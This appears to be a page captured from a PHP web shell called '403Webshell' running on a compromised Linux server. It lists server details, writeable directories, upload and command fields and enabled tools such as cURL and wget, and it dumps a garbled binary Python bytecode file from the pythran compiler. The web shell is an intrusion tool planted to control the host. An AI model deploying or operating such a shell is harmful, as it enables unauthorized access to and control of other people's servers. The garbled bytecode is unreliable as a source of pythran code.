403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/optimizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/optimizations/__pycache__/range_based_simplify.cpython-311.pyc
�

cR�a�
��^�dZddlmZddlmZddlZddlmZddl	m
Z
Gd�de��ZdS)	z> Simplify expressions based on range information when possible�)�RangeValues)�TransformationN)�isinf)�deepcopyc�8�eZdZdZd�Zd�Zd�Zd�ZeZd�Z	e	Z
dS)�RangeBasedSimplifya�
    Simplify expressions based on range analysis

    >>> import gast as ast
    >>> from pythran import passmanager, backend

    >>> node = ast.parse("def any():\n for x in builtins.range(10): y=x%8")
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(RangeBasedSimplify, node)
    >>> print(pm.dump(backend.Python, node))
    def any():
        for x in builtins.range(10):
            y = (x if (x < 8) else (x - 8))

    >>> node = ast.parse("def any(): x = 1 or 2; return 3 == x")
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(RangeBasedSimplify, node)
    >>> print(pm.dump(backend.Python, node))
    def any():
        x = (1 or 2)
        return 0

    >>> node = ast.parse("def a(i): x = 1,1,2; return x[2], x[0 if i else 1]")
    >>> pm = passmanager.PassManager("test")
    >>> _, node = pm.apply(RangeBasedSimplify, node)
    >>> print(pm.dump(backend.Python, node))
    def a(i):
        x = (1, 1, 2)
        return (2, 1)
    c�:�tj|t��dS�N)r�__init__r)�selfs �L/usr/lib/python3/dist-packages/pythran/optimizations/range_based_simplify.pyrzRangeBasedSimplify.__init__+s�����k�2�2�2�2�2�c��|Sr
��r�nodes  r
�visit_OMPDirectivez%RangeBasedSimplify.visit_OMPDirective.s���rc	��|�|��}t|jtj��s|S|j|j}|j|j}|jdkst|j
��r|S|j|jkr|S|j
|j
dzkr|St|j��t|j��}}t|j��}d|_tj
tj|jtj��g|jg��|tj|tj��|����S)Nr�T)�
generic_visit�
isinstance�op�ast�Mod�range_values�right�left�lowr�highr�update�IfExp�Compare�Lt�BinOp�Sub)rr�right_range�
left_range�cleft0�cleft1�crights       r
�visit_BinOpzRangeBasedSimplify.visit_BinOp1s ���!�!�$�'�'���$�'�3�7�+�+�	��K��'��
�3���&�t�y�1�
��?�Q���%��(8�"9�"9���K��>�[�_�,�,�,��K��?�[�-��1�1�1��K�!�$�)�,�,�h�t�y�.A�.A����$�*�%�%������y���T�Y�����
�T�Z�L�I�I����6�3�7�9�9�f�=�=�?�?�	?rc��|j|}t|j��r|�|��S|j|jkr!d|_t
j|jd��S|�|��S)NT)rrrrrr r�Constant)rr�range_values   r
�visit_rangezRangeBasedSimplify.visit_rangeHsu���'��-����!�"�"�	,��%�%�d�+�+�+�
�_�� 0�
0�
0��D�K��<����6�6�6��%�%�d�+�+�+rc��t|jtj��r|�|��S|�|��Sr
)r�ctxr�Loadr/rrs  r
�
visit_NamezRangeBasedSimplify.visit_NameTs@���d�h���)�)�	*��#�#�D�)�)�)��!�!�$�'�'�'rN)�__name__�
__module__�__qualname__�__doc__rrr+r/�
visit_Comparer3�visit_Subscriptrrr
rrsq��������>3�3�3����?�?�?�.,�,�,� �M�(�(�(�
!�O�O�Orr)r7�pythran.analysesr�pythran.passmanagerr�gastr�mathr�copyrrrrr
�<module>r?s���D�D�(�(�(�(�(�(�.�.�.�.�.�.�����������������N!�N!�N!�N!�N!��N!�N!�N!�N!�N!r

Youez - 2016 - github.com/yon3zu
LinuXploit